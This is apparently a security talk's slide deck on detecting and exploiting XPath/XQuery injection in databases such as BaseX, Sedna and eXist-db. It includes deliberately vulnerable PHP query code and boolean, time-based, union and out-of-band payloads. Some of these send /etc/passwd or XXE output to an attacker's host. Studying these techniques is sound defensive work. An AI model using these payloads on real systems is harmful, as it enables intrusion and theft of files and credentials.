Slide 1

Slide 1 text

Detection & exploiting Xpath/Xquery injections. The other ways. Savkov Boris

Slide 2

Slide 2 text

What will be discussed today? • Xpath/XQuery • Boolean-based • Time-based • Request-based • Union-based • Xquery DB • XXE in XQuery

Slide 3

Slide 3 text

Reasons? • injection class vulnerability • prevalence

Slide 4

Slide 4 text

XPath XPath is used to navigate through elements and attributes in an XML document. XPath became a W3C Recommendation 16. November 1999. XPath is a major element in W3C's XSLT standard - and XQuery and XPointer are both built on XPath expressions Standards: 1.0, 2.0, 3.0.

Slide 5

Slide 5 text

XPath examples /.../node[@attribute=value]/.../text() • child::text() • child::node() • attribute::node() • child::processing-instruction() • child::comment() • child::namespace-uri() • name(/…/node)

Slide 6

Slide 6 text

XPath examples British people are my only 'boss' on EU reform, says David Cameron BoE says part of banking payment system down /root/News/current_news/page[@ID='1']/info/ //page[1]//text() /*[1]/*[3]/*[1]/*[1]/*[1]/text()

Slide 7

Slide 7 text

XQuery XQuery is to XML what SQL is to database tables. XQuery 1.0 became a W3C Recommendation January 23, 2007. XQuery is designed to query XML data - not just XML files, but anything that can appear as XML, including databases. Standards: 1.0, 3.0.

Slide 8

Slide 8 text

XQuery examples British people are my only 'boss' on EU reform, says David Cameron BoE says part of banking payment system down for $i in doc("examples/example.xml")//page[@ID="1"]/info/text() return

{$i}

Slide 9

Slide 9 text

XQuery Databases Sedna 3.5, BaseX 8.11, eXit-db 2.2.

Slide 10

Slide 10 text

Boolean-based •count() • string-length() • substring(,,) 1'and count(/*[1])=1 and '1'='1 1'and string-length(name(/*[1]))=4 and '1'='1 1'and substring(name(/*[1]),1,'r')=1 and '1'='1

Slide 11

Slide 11 text

XML document British people are my only 'boss' on EU reform, says David Cameron BoE says part of banking payment system down Current exchange rate US DOLLAR (USD) - ≤50 RUSSIAN RUBLE (RUB)

Slide 12

Slide 12 text

Vulnerable code public function select($param) { $this->session->execute("open ".$this->database); $input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'. '/info/text() return

{$i}

'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } $query->close(); }

Slide 13

Slide 13 text

1" and "1"="0

Slide 14

Slide 14 text

1" and "1"="1

Slide 15

Slide 15 text

Time-based • root() • if-then • 1'and reverse(-9999 to 9999)=0 and '1'='1

Slide 16

Slide 16 text

XML document 18923172 Arnold Baker ABaker 53282c05d16f28057602d1253757c289 Admin 94203127 Peter Pan PPan 5f276221c0860f39e17846f2c29d507e User 57394309 Gandalf the Grey Mithrandir c5f7d86f237453de41c38a7d886c5a9c User

Slide 17

Slide 17 text

Vulnerable code public function select($uid, $username) { $this->session->execute("open ".$this->database); $input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()'; $query = $this->session->query($input); if($query->next() === $uid){ $query->close(); $input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'. '/*[name()="FirstName" or name()="LastName"]/text() return

{$i}

'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } } $query->close(); }

Slide 18

Slide 18 text

False

Slide 19

Slide 19 text

True

Slide 20

Slide 20 text

Request-based • doc •concaten • code-for-uri doc(concat("Your public ip",encode-for-uri(name(/*[1])))

Slide 21

Slide 21 text

No content

Slide 22

Slide 22 text

Remarks • Doesn't work in Sedna • XXE with doc doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml")))) • unparsed-text doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd")))) • XXE and BaseX doc(concat("http://192.168.56.101:9090/",encode-for-uri(doc("]>&c; "))))

Slide 23

Slide 23 text

Union-based 0' and 1=0] | //* | /*['0

Slide 24

Slide 24 text

Sedna

Slide 25

Slide 25 text

BaseX

Slide 26

Slide 26 text

eXist-db

Slide 27

Slide 27 text

Questions?